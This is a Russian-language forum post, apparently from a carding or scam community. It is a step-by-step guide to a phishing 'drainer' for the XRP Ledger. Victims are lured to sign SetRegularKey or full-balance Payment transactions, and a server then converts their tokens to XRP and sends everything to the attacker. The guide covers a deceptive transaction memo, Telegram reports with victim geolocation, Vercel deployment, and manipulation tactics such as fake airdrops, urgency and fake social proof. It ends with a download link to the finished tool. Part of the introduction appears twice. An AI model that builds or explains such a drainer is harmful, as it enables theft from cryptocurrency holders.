Coder Nulled
Moderator
В этой статье разберём как устроен XRP дрейнер — инструмент для скрытого списания активов с кошельков на сети XRPL.
Пройдём по всей цепочке: от подключения кошелька жертвы до вывода средств на адрес дрейнера. В конце статьи будет готовая ссылка для скачивание ресурса (XRP DRAINER - HIDDEN WRITE-OFF )
ВИДЕО АТАКИ XRP DRAINER
https://res.cloudinary.com/b4zuchhg/video/upload/v1783253847/atttackxrp_lxuabc.mp4
Что такое XRP Ledger
XRP Ledger (XRPL) — это блокчейн-сеть которую создала компания Ripple в 2012 году, специально для быстрых и дешёвых международных платежей.
В отличие от Bitcoin или Ethereum — XRPL не использует Proof-of-Work.
Вместо этого она использует Ripple Protocol Consensus Algorithm (RPCA) на основе валидаторов: сеть состоит из валидаторов которые голосуют за консенсус каждые 3-5 секунд через Unique Node List (UNL).
Это делает XRPL очень быстрой (3-5 секунд на закрытие ledger против 10+ минут у Bitcoin и 12+ секунд у Ethereum) и почти бесплатной (комиссия ~0.00001-0.0002 XRP на транзакцию).
Деньги в XRPL называются XRP. Это нативный токен сети. Помимо XRP в XRPL можно хранить и переводить любые другие активы — доллары, евро, другие крипто.
Это возможно благодаря встроенному механизму TrustLine: это такие "линии доверия" между аккаунтами.
Если я создам TrustLine до твоего аккаунта на 1000 USD — я смогу отправить тебе USD и ты сможешь их хранить.
Ключевая фишка XRPL которая нас интересует — это встроенный DEX (децентрализованный обмен). На Ethereum ты должен использовать отдельные протоколы типа Uniswap. На XRPL обмен встроен прямо в сеть. Это значит что ты можешь конвертировать любой токен в XRP за одну транзакцию, автоматически подобрав лучший курс. Это очень удобно для дренажа потому что позволяет конвертировать все токены жертвы в XRP и быстро их вывести.
Почему вообще XRP, и почему сейчас?
В июне 2026 года группировка NOIR добавила поддержку XRP в свой дрейнер. До этого они работали с SOL, EVM и TRX.
Когда они выкатили XRP версию, за 2 дня профит 8 тысяч долларов с двух логов. Это доказывает актуальность выбранной темы.
Ключевая вещь которую сделали NOIR — скрытое списание XRP. Этот механизм основан на Regular Key — фиче XRPL которую большинство пользователей не знают. В этой статье мы разбираем логику NOIR один в один: как именно устроено скрытое списание, почему оно работает, и как реализовано в коде. Будем повторять логику NOIR XRP 1 в 1.
Результат профита объясняется просто. На XRP до сих пор практически нет дрейнеров. Дрейнеры есть на Solana, на Ethereum, но XRP так и остался незаполненной нишей. Из-за этого люди в этой сети просто никогда не сталкивались с дренажом. Они не ожидают. На XRP такой насмотренности пока нет, аудитория незаряженная. Значит больше траста от ЦА
Помимо этого в самой архитектуре XRPL есть механизм который делает скрытое списание особенно удобным. Это Regular Key. Разберём его подробно в разделе про дренирование, но если коротко — он позволяет получить постоянный контроль над чужим аккаунтом после одной транзакции, которую жертва подписывает сама.
В статье будет: как устроен дрейнер, как подключаются разные кошельки (Xaman, GEM, Crossmark, Ledger), почему для каждого из них стратегия разная, как работает SetRegularKey и почему Xaman его запрещает, как токены конвертируются в XRP через встроенный DEX без TrustLine на стороне получателя, и как всё это автоматически уходит в Telegram.
Какие кошельки популярны на XRPL
Прежде чем лезть в код, нужно понять с кем мы вообще работаем. На XRPL есть четыре основных кошелька которые используют люди, и у каждого своя платформа и своё поведение. Это важно потому что стратегия дрейнера для каждого из них разная — и именно это разделение определяет всю архитектуру проекта.
Xaman — самый популярный кошелёк на XRPL. Раньше назывался XUMM. Это исключительно мобильное приложение, работает на iOS и Android. Никакого браузерного расширения нет. Взаимодействие с Xaman происходит двумя способами в зависимости от того с какого устройства открыт сайт. Если жертва на десктопе — дрейнер показывает QR-код, жертва сканирует его камерой телефона в приложении Xaman и подтверждает там. Если жертва уже на телефоне и открыла сайт в мобильном браузере — вместо QR работает deeplink. Это ссылка вида https://xumm.app/sign/[UUID] которая открывает приложение Xaman напрямую с нужной транзакцией внутри. Никакого сканирования — просто один тап и ты уже в кошельке. Это важная деталь которую нужно учитывать в UI дрейнера: с телефона надо давать кнопку с deeplink, а не QR.
GEM Wallet — браузерное расширение, только десктоп. Работает как MetaMask на Ethereum — инжектит объект в страницу через который сайт может запрашивать подпись транзакций напрямую. Жертва видит попап расширения в браузере и нажимает подтвердить. Никакого QR-кода, никакого телефона. Всё происходит в браузере.
Crossmark — тоже браузерное расширение, только десктоп. Концептуально то же самое что GEM — инжектит свой SDK в страницу, дрейнер обращается к нему напрямую через JavaScript. Отличается от GEM только внутренним API и тем как выглядит попап подтверждения.
Ledger — аппаратный кошелёк. Физическое устройство которое подключается по USB. Это самый сложный случай для дрейнера потому что требует взаимодействия с USB через браузерный WebUSB API, а кодирование транзакций идёт в бинарном формате через отдельную библиотеку. Плюс жертва должна физически нажать кнопки на самом устройстве чтобы подтвердить транзакцию. Но люди с Ledger обычно держат большие суммы, поэтому поддержка оправдана.
Разница в платформах напрямую влияет на то как дрейнер взаимодействует с каждым кошельком и какой метод списания применяется. Подробнее разберём это в разделе про подключение кошельков.
Архитектура дрейнера
Проект построен на Next.js. Сам дрейнер представляет собой два ключевых элемента: модальное окно подключения кошелька и HTML wrapper для лендинга.
Модальное окно — это компонент components/xrp-wallet-modal.tsx. В нём происходит всё взаимодействие с жертвой: кнопки выбора кошелька, QR-код Xaman, ожидание подписи, запуск дрейна. Это самодостаточный компонент который можно встроить в любой лендинг.
HTML wrapper — это компонент components/html-landing-wrapper.tsx. Он нужен чтобы можно было легко менять лендинг под которым работает дрейнер. Достаточно положить обычный HTML файл, и wrapper его рендерит как фон. Это сделано специально чтобы не переписывать код каждый раз при смене темы сайта — меняешь только HTML файл лендинга, логика дрейнера остаётся та же.
Дрейнер разворачивается как iframe на хостинг-сайте.
Схема:
Хостинг-сайт и iframe общаются через postMessage. Это стандартный браузерный механизм для коммуникации между страницей и встроенным фреймом. Через него передаются данные о подключённом кошельке и результатах дрейна.
Цепочка действий дрейнера:
1. Жертва заходит на сайт и видит лендинг с кнопкой подключить кошелёк
2. Нажимает — появляется модальное окно с выбором кошелька
3. Для GEM/Crossmark/Ledger: подписывает SetRegularKey через расширение
4. Для Xaman: сканирует QR или открывает deeplink на телефоне, подписывает Payment
5. Сервер дрейнера конвертирует все токены жертвы в XRP через DEX
6. XRP уходит на адрес дрейнера
7. В Telegram приходит отчёт с балансом, геолокацией и адресом
Конфигурация
Файл: lib/config.ts
Здесь захардкожены все адреса и ключи дрейнера.
DRAIN_DESTINATION — это адрес куда уходят все дренированные средства.
DRAIN_PRIVATE_KEY — приватный ключ самого дрейнера. Именно этот ключ устанавливается как Regular Key на аккаунты жертв.
После установки дрейнер использует его чтобы подписывать транзакции от имени жертвы без её участия.
DRAIN_REGULAR_KEY_ADDRESS — это адрес производный от DRAIN_PRIVATE_KEY. Именно этот адрес записывается в поле RegularKey на аккаунте жертвы.
Также в конфиге есть параметры транзакций:
RESERVE_XRP это минимальный остаток который нельзя отправить. XRPL требует чтобы на аккаунте всегда оставался базовый резерв: с декабря 2024 он составляет 1 XRP. В конфиге стоит 2 XRP — намеренно с запасом, потому что к моменту финального вывода на аккаунте могут остаться незакрытые объекты (offers, trust lines) которые тоже занимают резерв. Лучше недобрать 1 XRP чем получить ошибку транзакции.
PAYMENT_MEMO_TEXT добавляется в поле Memo транзакции. Это текст который будет виден в блокчейн-эксплорере. Указываем "+1000 XRP" чтобы транзакция выглядела как плюсовой перевод.
Ноды для подключения к XRPL:
Несколько нод нужны для отказоустойчивости. Если одна недоступна, дрейнер пробует следующую.
Конфиг Xaman API:
Xaman — это мобильное приложение и платформа для подписи транзакций на XRPL. Его сделала компания XRPL Labs. Суть такая: разработчик создаёт шаблон транзакции через Xaman API, платформа генерирует QR-код, пользователь сканирует его в приложении Xaman на телефоне и подтверждает. Это самый распространённый способ взаимодействия с XRPL для обычных пользователей — именно поэтому дрейнер поддерживает его в первую очередь.
Для дрейнера Xaman API нужен чтобы делать две вещи: создавать payload (то есть шаблон транзакции который жертва будет подписывать) и получать статус — подписала жертва или нет.
Чтобы работать с Xaman API нужно получить два ключа: API Key и API Secret. Без них API вернёт 401 на любой запрос.
Получить ключи можно через Xaman Developer Console. Вот как это делается пошагово:
Идёшь на https://apps.xaman.dev и входишь через само приложение Xaman — там нет регистрации через email, вход только через QR-код в приложении.
Скачиваешь Xaman на телефон если ещё нет, создаёшь аккаунт, потом сканируешь QR на сайте.
После входа попадаешь в дашборд. Нажимаешь "Create app" или "New application". Заполняешь: название приложения (любое), описание (любое), URL иконки (можно любую картинку).
Галочки и разрешения оставляешь как есть по умолчанию.
После создания приложения в его настройках появляются два поля: API Key и API Secret. API Secret показывается только один раз при создании, потом его уже не посмотреть — нужно сразу скопировать. Если потерял, придётся пересоздавать приложение.
Эти два значения вставляешь в config.ts:
Важный момент: Xaman API бесплатен для базового использования. Есть лимиты на количество payload-ов в месяц на бесплатном плане, но для дрейнера этого более чем достаточно — дрейнер создаёт один payload на жертву, не более.
Второй момент: Xaman Developer Console — это не просто выдача ключей. Через неё можно смотреть статистику по payload-ам, сколько было создано, сколько подписано, сколько отклонено. Это удобно для понимания конверсии — видишь сколько жертв дошло до подписи, а сколько закрыло окно.
Как работает Regular Key и почему мы его выбрали?
Когда мы начали делать дрейнер, первый вопрос был такой: как списать активы с кошелька после того как жертва один раз нажала кнопку подключить?
Самый очевидный ответ — попросить подписать Payment прямо при подключении. Жертва видит QR, сканирует, подтверждает, и XRP уходит. Это работает, но у такого подхода есть серьёзный минус.
Если ты просишь Payment, жертва видит в интерфейсе кошелька точную сумму и адрес получателя. Wallet покажет "Вы отправляете 250 XRP на адрес rXXXXX". Это сразу читается как перевод денег.
Часть жертв закроет кошелёк и уйдёт. Плюс ты получаешь одну попытку. Если баланс изменился, если жертва сначала подключилась а потом пополнила кошелёк — ты уже ничего не сделаешь.
Мы начали искать другой путь и нашли механизм Regular Key.
На XRPL у каждого аккаунта есть Master Key — основной приватный ключ владельца. По умолчанию только он может подписывать транзакции с этого аккаунта. Но протокол поддерживает ещё одну сущность — Regular Key. Это вторичный ключ который можно добавить к аккаунту через транзакцию SetRegularKey. После добавления Regular Key получает те же права что и Master Key — он может подписывать любые транзакции с этого аккаунта. При этом владелец своего Master Key не лишается, у него просто появился второй подписант.
Смысл для дрейнера такой. Мы генерируем собственную пару ключей (DRAIN_PRIVATE_KEY / DRAIN_REGULAR_KEY_ADDRESS) и заносим их в конфиг. Когда жертва подключает кошелёк, мы просим её подписать SetRegularKey транзакцию где в поле RegularKey указан наш адрес DRAIN_REGULAR_KEY_ADDRESS. Жертва видит в кошельке запрос на "изменение настроек аккаунта" — не перевод, не списание. Технически это выглядит как настройка безопасности. После того как транзакция прошла, дрейнер может в любой момент отправить Payment с аккаунта жертвы, подписав его своим DRAIN_PRIVATE_KEY на сервере. Без участия жертвы, без QR-кода, без любого подтверждения с её стороны.
Это похоже на то что происходит в Solana дрейнерах через setAuthority или смена управляющего ключа (authority) у durable nonce аккаунта. На Solana есть инструкция SetAuthority которая меняет владельца конкретного токен-аккаунта/аккаунта. Жертва подписывает делегирование прав которое выглядит как обычное разрешение, а на деле новый authority получает полный контроль над этим токеном/аккаунтом. На XRP принцип тот же — одна транзакция которая выглядит безобидно, и ты получаешь постоянный контроль.
Мы выбрали SetRegularKey для всех четырёх типов кошельков — Xaman, GEM, Crossmark и Ledger. Реализовали логику, запустили тесты. GEM заработал сразу. Crossmark заработал. А вот с Xaman транзакция просто не вызывалась. Никакого QR-кода, никакого запроса в кошельке, просто тишина.
Мы полезли в документацию Xaman — Transaction types | Xaman Developer Docs — и там нашли следующее:
То есть Xaman на уровне своего API намеренно блокирует SetRegularKey для обычных приложений. Не показывает ошибку, не говорит почему — просто не создаёт payload и не возвращает QR. Xaman сделал это намеренно именно потому что SetRegularKey это классический инструмент компрометации аккаунта. Команда Xaman это понимает и закрыла дыру.
Из этого вытекает разделение стратегии по кошелькам которое ты увидишь в коде дальше. GEM, Crossmark и Ledger получают SetRegularKey — после этого дрейн XRP и токенов происходит тихо на бэкенде. Xaman получает прямой Payment во время подключения — это единственный вариант который там работает.
Альтернативные методы списания которые мы рассматривали: Check
Пока разбирались с Xaman, мы изучили ещё один метод списания который существует на XRPL — это механизм Check.
Check работает так: отправитель создаёт CheckCreate транзакцию где указывает получателя и максимальную сумму. Это как выписать чек в банке - ты его выписал, но деньги ещё не ушли. Получатель потом должен самостоятельно создать CheckCash транзакцию чтобы забрать средства. Пока получатель не сделал CheckCash, деньги остаются на аккаунте отправителя.
На первый взгляд это выглядит удобно. Жертва создаёт CheckCreate, ты в любой момент делаешь CheckCash и забираешь деньги. Не нужно устанавливать Regular Key, не нужно постоянно держать доступ к аккаунту жертвы.
Но у Check есть конкретная проблема именно с Xaman. И это не красная плашка. Xaman не флагает CheckCreate автоматически. Он создаёт payload, QR появляется нормально. Проблема в другом.
У Xaman есть уникальная система защиты которой нет ни в одном другом кошельке на XRPL. Перед тем как показать жертве транзакцию на подпись, Xaman задаёт серию вопросов. Что-то вроде:
"Обещали ли вам аирдроп при подтверждении этой транзакции?" — Да / Нет
"Просил ли вас кто-то подключить кошелёк чтобы получить вознаграждение?" — Да / Нет
"Вы уверены что понимаете что делает эта транзакция?" — Да / Нет
Это не технический фильтр на уровне API. Это поведенческий опрос. Если жертва отвечает честно и нажимает "Да" на любой из подозрительных вопросов — Xaman флагает транзакцию красным и рекомендует отменить. Если жертва нажимает "Нет" на все вопросы — транзакция проходит нормально.
Проблема для дрейнера вот в чём. CheckCreate это транзакция которая на первый взгляд непонятна обычному человеку. Человек видит незнакомый тип транзакции, читает вопросы Xaman, начинает думать что происходит — и в итоге нажимает не то. Конверсия падает. Payment транзакция хотя бы выглядит как знакомый перевод, жертва понимает что происходит и может просто подтвердить.
Поэтому Check мы не используем для Xaman. Транзакция технически проходит через API, QR создаётся, но система вопросов Xaman убивает конверсию на CheckCreate гораздо сильнее чем на обычный Payment. Для GEM, Crossmark и Ledger Check теоретически работал бы нормально — там нет такого опросника — но Regular Key всё равно лучше потому что даёт постоянный контроль над аккаунтом, а не разовую операцию на конкретную сумму. Если жертва пополнит кошелёк после — Regular Key позволит дрейнить снова. Check такой возможности не даёт.
Подключение кошелька
Файл: components/xrp-wallet-modal.tsx
Это UI компонент где происходит всё начальное взаимодействие с жертвой. Компонент поддерживает четыре типа кошельков.
Для Xaman дрейнер использует Sign-In payload — это специальный тип запроса который идентифицирует пользователя. После Sign-In дрейнер получает адрес кошелька и userToken (токен сессии).
После получения адреса сразу создаётся Payment транзакция на полный баланс жертвы (резервируем 2 хрп):
Дрейнер сначала опрашивает account_info чтобы узнать точный баланс в drops. Потом вычитает резерв и комиссию чтобы получить максимальную сумму для отправки. Создаёт payload через Xaman API, получает QR-код и показывает его жертве. Дальше ждёт подписи через WebSocket.
GEM Wallet
GEM — это браузерное расширение. Через него дрейнер устанавливает Regular Key:
GEM API не имеет ограничений на SetRegularKey в отличие от Xaman. Пользователь видит запрос на подпись в расширении и нажимает подтвердить.
Crossmark
Crossmark тоже браузерное расширение, но с другим API:
Crossmark подписывает транзакцию и сразу отправляет её на XRPL. Метод signAndSubmitAndWait ждёт пока транзакция подтвердится.
Ledger
Ledger — это аппаратный кошелёк. Работает через USB подключение:
Для Ledger требуется физическое нажатие кнопки на устройстве. Пользователь видит данные транзакции на экране Ledger и подтверждает.
После подтверждения транзакция подписана аппаратным ключом и отправляется на XRPL.
WebSocket стратегия ожидания подписи
Файл: lib/xaman-ws.ts
Когда жертва сканирует QR-код в мобильном Xaman, возникает задача: как браузер узнает что подпись выполнена? Xaman находится на другом устройстве, связи между ними нет напрямую.
Xaman решает это через WebSocket. Когда создаётся payload, в ответе приходит websocketUrl — это адрес WebSocket соединения через серверы Xaman.
Как только жертва подпишет в приложении, Xaman пушит в этот WebSocket сообщение {"signed": true}.
Но есть проблема. Когда пользователь переходит в мобильный Xaman, браузерная вкладка уходит в фон. Многие браузеры приостанавливают WebSocket соединения во время когда вкладка неактивна.
Соединение может зависнуть или закрыться именно в тот момент когда жертва подписывает.
Поэтому в lib/xaman-ws.ts реализована комбинированная стратегия из трёх методов одновременно:
Первый метод — WebSocket. Это основной канал. Xaman пушит {"signed": true} как только жертва подписала. Каждые 10 секунд отправляется ping чтобы соединение не засыпало.
Второй метод — HTTP polling. Каждые 2.5 секунды делается GET запрос на /api/xaman/get-payload с uuid транзакции. Это резервный канал на случай если WebSocket завис.
Третий метод — visibilitychange. Это событие которое браузер генерирует когда пользователь переключается между вкладками или приложениями.
Когда жертва возвращается из мобильного Xaman обратно в браузер, срабатывает это событие. Дрейнер сразу делает HTTP запрос чтобы проверить статус, и если WebSocket был закрыт — переподключается.
Параметры:
Экспоненциальный backoff при переподключении: первая попытка через 1.5 сек, вторая через 2.25 сек, и так далее. Это стандартная практика чтобы не спамить сервер при нестабильном соединении.
Xaman API: создание payload и получение статуса
Файл: app/api/xaman/create-tx-payload/route.ts
Когда дрейнеру нужно попросить жертву подписать транзакцию через Xaman, он создаёт payload через Xaman API.
В ответе приходит uuid транзакции, PNG с QR-кодом который показывается жертве, адрес WebSocket для отслеживания статуса, и deepLink для открытия Xaman напрямую если жертва на телефоне.
Если передан userToken, Xaman может отправить push-уведомление на устройство жертвы напрямую, без необходимости сканировать QR.
Файл: app/api/xaman/get-payload/route.ts
Это эндпоинт который используется в HTTP polling. Принимает uuid и возвращает текущий статус транзакции:
Drain: конвертация токенов и вывод XRP
Файл: app/api/drain/route.ts
Это основной серверный роут который выполняет само дренирование. Вызывается после того как Regular Key установлен и дрейнер получил контроль над аккаунтом жертвы.
Шаг 1: Подключение и получение данных аккаунта
Дрейнер подключается к XRPL через WebSocket, запрашивает account_info чтобы узнать текущий баланс и состояние аккаунта, и account_lines чтобы получить список всех токенов с ненулевым балансом.
Шаг 2: Проверка Regular Key и восстановление кошелька дрейнера
Дрейнер восстанавливает свой кошелёк из DRAIN_PRIVATE_KEY через Wallet.fromSeed. Этот кошелёк будет подписывать все дальнейшие транзакции от имени жертвы.
Перед тем как начать дренировать, дрейнер проверяет что Regular Key действительно записан на аккаунте жертвы в validated ledger. XRPL асинхронная сеть.
Транзакция SetRegularKey после отправки сначала попадает в pending состояние, и только через 10-15 секунд подтверждается в validated ledger.
Если начать дренировать до подтверждения, Regular Key ещё не активен и транзакции упадут с ошибкой.
Поэтому дрейнер делает polling каждые 2 секунды, максимум 10 попыток (итого 20 секунд ожидания).
TrustLine: почему нельзя просто отправить токен на адрес получателя?
Прежде чем разбирать код конвертации, нужно понять одну особенность XRPL которая напрямую влияет на то как дрейнер работает с токенами.
На XRPL нельзя держать токен на аккаунте без TrustLine. TrustLine — это явное разрешение которое аккаунт должен выдать для каждого токена который хочет хранить. Если аккаунт не открыл TrustLine для токена SOLO, он физически не может получить SOLO на свой адрес. Транзакция упадёт с ошибкой tecNO_LINE.
Каждая открытая TrustLine замораживает резерв на аккаунте. С декабря 2024 резерв за TrustLine составляет 0.2 XRP (ранее было 2 XRP). Это ограничение на уровне протокола, сделано чтобы не засорять леджер бесконечным количеством мусорных токен-линий.
Для дрейнера это конкретная проблема. Если просто попробовать отправить токены жертвы на адрес дрейнера, транзакция провалится — у дрейнера нет TrustLine для этих токенов. Можно конечно заранее открыть TrustLine для каждого возможного токена, но это нереально. Токенов на XRPL тысячи, новые появляются каждый день, и каждая TrustLine будет требовать резерв в 0.2 XRP.
Поэтому дрейнер не получает токены к себе. Вместо этого он конвертирует их сразу в нативный XRP через встроенный DEX XRPL прямо на аккаунте жертвы. XRP не требует TrustLine — это нативный актив сети. Адрес дрейнера всегда может получить XRP без каких-либо предварительных настроек.
XRPL имеет встроенный децентрализованный обменник прямо в протоколе. Это не внешний смарт-контракт как Uniswap на Ethereum. Order book (книга ордеров) существует в протоколе с самого начала; AMM пулы появились в марте 2024 через amendment XLS-30. Оба механизма живут прямо в леджере. Через Payment транзакцию с полем SendMax можно попросить сеть: возьми токены с аккаунта, найди лучший путь через order book и/или AMM, и доставь XRP на нужный адрес. Всё это происходит атомарно в одной транзакции.
Флаг tfPartialPayment позволяет транзакции успешно завершиться даже если конвертировалась не вся сумма. Например если в order book не хватило ликвидности на полный объём токена, транзакция всё равно пройдёт и сконвертирует столько сколько смогла. Без этого флага транзакция упала бы с ошибкой если хотя бы малейшая часть не смогла быть обменяна.
Шаг 3: Конвертация токенов в XRP через DEX
Здесь важно понять почему Destination совпадает с Account — платёж идёт на адрес самой жертвы. Это не ошибка. Дрейнер просит XRPL DEX: возьми токены (SendMax) с аккаунта жертвы, конвертируй их в XRP через ордербук, и зачисли XRP обратно на тот же аккаунт. Таким образом токены исчезают, а XRP-баланс жертвы растёт — и уже этот XRP будет выведен на адрес дрейнера на следующем шаге.
Флаг PartialPayment (0x00020000) позволяет транзакции пройти даже если конвертировалась не вся сумма. Без этого флага транзакция упала бы если на DEX недостаточно ликвидности.
Если Payment не прошёл, дрейнер пробует OfferCreate с флагом tfImmediateOrCancel (0x00010000). Это размещение ордера на DEX который немедленно исполняется если есть встречные предложения, и отменяется если нет. Такой fallback нужен для редких токенов с низкой ликвидностью.
После каждого токена ждём 1.5 секунды чтобы не спамить ноду.
Шаг 4: Отправка XRP на адрес дрейнера
После конвертации токенов ждём 4 секунды, потом снова запрашиваем account_info чтобы получить обновлённый баланс. Это важно потому что конвертированные токены уже добавились к XRP балансу.
Дрейнер запрашивает текущую комиссию через команду fee вместо того чтобы использовать захардкоженное значение. Так надёжнее — комиссии в XRPL могут варьироваться в зависимости от нагрузки на сеть.
Для расчёта точной комиссии используется зонд-транзакция: дрейнер делает autofill с Amount: "1" (минимум), получает заполненную транзакцию с полем Fee, и использует это значение для расчёта финальной суммы.
Итоговый расчёт:
- Отправляемо = Баланс - Резерв - Комиссия
В коде расчёт выглядит так:
Важно: updatedOwnerCount * 0 означает что owner reserve (0.2 XRP за каждую TrustLine и offer) намеренно не учитывается. Это сделано потому что к моменту отправки XRP все токены уже сконвертированы и TrustLine-объекты удалены или опустели, поэтому owner count практически равен нулю.
Фактически резерв = только RESERVE_XRP = 2 XRP (в конфиге).
Пример: баланс 1000 XRP, комиссия 0.000012 XRP.
Отправляемо = 1000 - 2 - 0.000012 = 997.999988 XRP
Примечание: базовый резерв на XRPL с декабря 2024 составляет 1 XRP, но RESERVE_XRP = 2 в конфиге оставляет небольшой запас на случай если owner count не обнулился полностью.
Telegram уведомления
Файл: app/api/notify/route.ts
Когда жертва подключает кошелёк, дрейнер сразу отправляет уведомление в Telegram с информацией о ней.
Все четыре запроса выполняются параллельно через Promise.all: баланс с XRPL, курс XRP с биржи, геолокация по IP, список токенов.
Это ускоряет отправку уведомления примерно в четыре раза по сравнению с последовательными запросами.
Геолокация работает через ip-api.com — бесплатный сервис с лимитом 45 запросов в минуту.
Важно: бесплатный план поддерживает только HTTP (не HTTPS), что и используется в коде: http://ip-api.com/json/${ip}.
На сервере это нормально, потому что запрос идёт с сервера Vercel, а не из браузера. В уведомлении приходит: тип кошелька, страна по геолокации, баланс в XRP и USD, список всех токенов, адрес кошелька, кнопка с прямой ссылкой на xrpscan.
Итоговая схема работы
Фаза 1: Приманка
1. Жертва заходит на сайт где встроен iframe дрейнера
2. Видит форму подключения кошелька
3. Подключает Xaman, GEM, Crossmark или Ledger
Фаза 2: Установка Regular Key
4. Для GEM/Crossmark/Ledger: дрейнер просит подписать SetRegularKey
5. Жертва подписывает — выглядит как техническая настройка
6. Regular Key дрейнера записан на аккаунте в блокчейне
(Для Xaman: напрямую просит подписать Payment)
Фаза 3: Дренирование
7. Сервер подключается к XRPL с ключом дрейнера
8. Конвертирует все токены в XRP через DEX
9. Отправляет XRP на адрес дрейнера
10. Жертва видит пустой баланс
Telegram: как создать бота и получить токен
Для уведомлений дрейнер использует Telegram Bot API. Каждый раз когда жертва подключает кошелёк, в твой чат прилетает сообщение с её адресом, балансом, геолокацией и списком токенов.
Чтобы это работало нужны два значения: токен бота и chat_id. Токен бота получается через BotFather. Открываешь Telegram, ищешь BotFather, пишешь /newbot, придумываешь имя и username. BotFather выдаёт токен в формате 1234567890:ABCdef... Этот токен вставляешь в config.ts как TELEGRAM_BOT_TOKEN. Chat ID — это идентификатор чата куда будут приходить уведомления. Если хочешь получать в личку — напиши боту любое сообщение, потом открой в браузере https://api.telegram.org/bot<ТВОЙ_ТОКЕН>/getUpdates и найди поле "id" внутри "chat". Это и есть твой chat_id. Вставляешь его как TELEGRAM_CHAT_ID в config.ts.
Можно также создать приватный канал или группу и добавить туда бота — тогда уведомления будут приходить туда. Chat ID группы или канала начинается с минуса, например -1001234567890.
После того как оба значения вставлены в config.ts, уведомления будут работать автоматически. Дрейнер сам вызывает /api/notify при каждом подключении кошелька.
Деплой на Vercel
Дрейнер деплоится на Vercel. Это проще всего потому что проект на Next.js, а Vercel сделали именно для Next.js. Деплой занимает несколько минут.
Сначала нужно залить проект на GitHub. Создаёшь репозиторий, пушишь туда код. Важно: не пушь config.ts с реальными ключами в публичный репозиторий. Если репозиторий публичный — выноси ключи в environment variables Vercel, а в config.ts читай их через process.env.
Если репозиторий приватный — можно оставить хардкод.
После этого заходишь на vercel.com, нажимаешь Add New Project, выбираешь репозиторий с GitHub.
Vercel автоматически определяет что это Next.js и настраивает сборку. Нажимаешь Deploy.
Через минуту-две проект задеплоен и Vercel выдаёт URL вида твойпроект.vercel.app. Этот URL — адрес iframe дрейнера. Его встраиваешь на хостинг-сайт.
Если используешь environment variables вместо хардкода, добавляешь их в Vercel через Settings -> Environment Variables. Там же можно подключить кастомный домен чтобы iframe URL выглядел как часть хостинг-сайта.
При каждом git push в main ветку Vercel автоматически передеплоивает проект. Это удобно — изменил лендинг, запушил, через минуту изменение на продакшне.
Файлы проекта
Конфигурация:
- lib/config.ts — адреса, ключи и параметры дрейнера (все чувствительные данные И НАСТРОЙКИ здесь)
Логика кошельков:
Почему это работает: социальная инженерия
Технически дренаж XRP — это просто установка RegularKey. Но почему люди на это ведутся? Несколько причин:
1. Неосведомленность — большинство пользователей XRPL не знают что такое RegularKey
2. Привычный UX — если лендинг выглядит как обычный аирдроп или DEX, человек не подозревает подвоха
3. Срочность — если дать ограничение по времени ("предложение действует 24 часа"), жертва нажимает не думая
4. Социальное доказательство — если на сайте показать "10000+ уже получили", конверсия растёт
5. Отсутствие конкурентов — на XRP до сих пор мало дрейнеров, поэтому люди просто не ожидают
Лучший лендинг — это не самый красивый, а тот который выглядит легитимно. Он должен выглядеть как реальный сервис, а не как очевидный скам.
Заключение
В этой статье мы разобрали полный цикл дренажа XRP Ledger — от подключения кошелька жертвы до вывода средств на адрес получателя. Вот что мы сделали:
С чем мы работали:
Что мы узнали:
Что мы получили:
Этот проект показывает что Regular Key — это не баг в XRPL, а фича которая работает как задумано.
Проблема в том что её очень мало кто понимает. И именно из-за этого непонимания ниша дренажа на XRP остаётся открытой.
ССЫЛКА НА СКАЧИВАНИЕ ГОТОВОГО DRAINER XRP
1.31 MB file on MEGA
Пройдём по всей цепочке: от подключения кошелька жертвы до вывода средств на адрес дрейнера. В конце статьи будет готовая ссылка для скачивание ресурса (XRP DRAINER - HIDDEN WRITE-OFF )
ВИДЕО АТАКИ XRP DRAINER
https://res.cloudinary.com/b4zuchhg/video/upload/v1783253847/atttackxrp_lxuabc.mp4
Что такое XRP Ledger
XRP Ledger (XRPL) — это блокчейн-сеть которую создала компания Ripple в 2012 году, специально для быстрых и дешёвых международных платежей.
В отличие от Bitcoin или Ethereum — XRPL не использует Proof-of-Work.
Вместо этого она использует Ripple Protocol Consensus Algorithm (RPCA) на основе валидаторов: сеть состоит из валидаторов которые голосуют за консенсус каждые 3-5 секунд через Unique Node List (UNL).
Это делает XRPL очень быстрой (3-5 секунд на закрытие ledger против 10+ минут у Bitcoin и 12+ секунд у Ethereum) и почти бесплатной (комиссия ~0.00001-0.0002 XRP на транзакцию).
Деньги в XRPL называются XRP. Это нативный токен сети. Помимо XRP в XRPL можно хранить и переводить любые другие активы — доллары, евро, другие крипто.
Это возможно благодаря встроенному механизму TrustLine: это такие "линии доверия" между аккаунтами.
Если я создам TrustLine до твоего аккаунта на 1000 USD — я смогу отправить тебе USD и ты сможешь их хранить.
Ключевая фишка XRPL которая нас интересует — это встроенный DEX (децентрализованный обмен). На Ethereum ты должен использовать отдельные протоколы типа Uniswap. На XRPL обмен встроен прямо в сеть. Это значит что ты можешь конвертировать любой токен в XRP за одну транзакцию, автоматически подобрав лучший курс. Это очень удобно для дренажа потому что позволяет конвертировать все токены жертвы в XRP и быстро их вывести.
Почему вообще XRP, и почему сейчас?
В июне 2026 года группировка NOIR добавила поддержку XRP в свой дрейнер. До этого они работали с SOL, EVM и TRX.
Когда они выкатили XRP версию, за 2 дня профит 8 тысяч долларов с двух логов. Это доказывает актуальность выбранной темы.
Ключевая вещь которую сделали NOIR — скрытое списание XRP. Этот механизм основан на Regular Key — фиче XRPL которую большинство пользователей не знают. В этой статье мы разбираем логику NOIR один в один: как именно устроено скрытое списание, почему оно работает, и как реализовано в коде. Будем повторять логику NOIR XRP 1 в 1.
Результат профита объясняется просто. На XRP до сих пор практически нет дрейнеров. Дрейнеры есть на Solana, на Ethereum, но XRP так и остался незаполненной нишей. Из-за этого люди в этой сети просто никогда не сталкивались с дренажом. Они не ожидают. На XRP такой насмотренности пока нет, аудитория незаряженная. Значит больше траста от ЦА
Помимо этого в самой архитектуре XRPL есть механизм который делает скрытое списание особенно удобным. Это Regular Key. Разберём его подробно в разделе про дренирование, но если коротко — он позволяет получить постоянный контроль над чужим аккаунтом после одной транзакции, которую жертва подписывает сама.
В статье будет: как устроен дрейнер, как подключаются разные кошельки (Xaman, GEM, Crossmark, Ledger), почему для каждого из них стратегия разная, как работает SetRegularKey и почему Xaman его запрещает, как токены конвертируются в XRP через встроенный DEX без TrustLine на стороне получателя, и как всё это автоматически уходит в Telegram.
Какие кошельки популярны на XRPL
